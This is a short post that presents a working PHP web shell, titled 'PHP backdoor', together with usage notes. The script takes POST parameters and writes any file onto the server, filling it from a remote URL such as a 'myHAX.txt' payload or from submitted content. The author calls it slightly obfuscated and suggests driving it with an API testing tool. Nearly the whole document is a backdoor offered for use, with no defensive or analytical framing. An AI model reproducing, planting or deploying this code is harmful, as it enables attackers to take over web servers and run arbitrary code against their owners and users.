PHP backdoor

Backdoor.php

<?php
$n=$_POST["n"];
$g=$_POST["g"];
$w=$_POST["w"];
$gg=file_get_contents($g);
echo $n;
if($_POST["g"]){
$nn = $gg;
}
if($_POST["w"]){
$nn = $w;
$nn=stripslashes($nn);
}
file_put_contents($n, $nn);
echo "PUT0";
?>

Usage

n=nameOfNewFile.php
g=Url to retrive new files contents from. For instance "example.com/myHAX.txt" (optional)
w= Content to write to new file if you did not define "g".

A value for "n" and either "g" or "w" are required. 

This is quick and dirty code, only slightly obfuscated. 

since this code had no front end, you will either want to build a tool to interface with it or use api testing tool.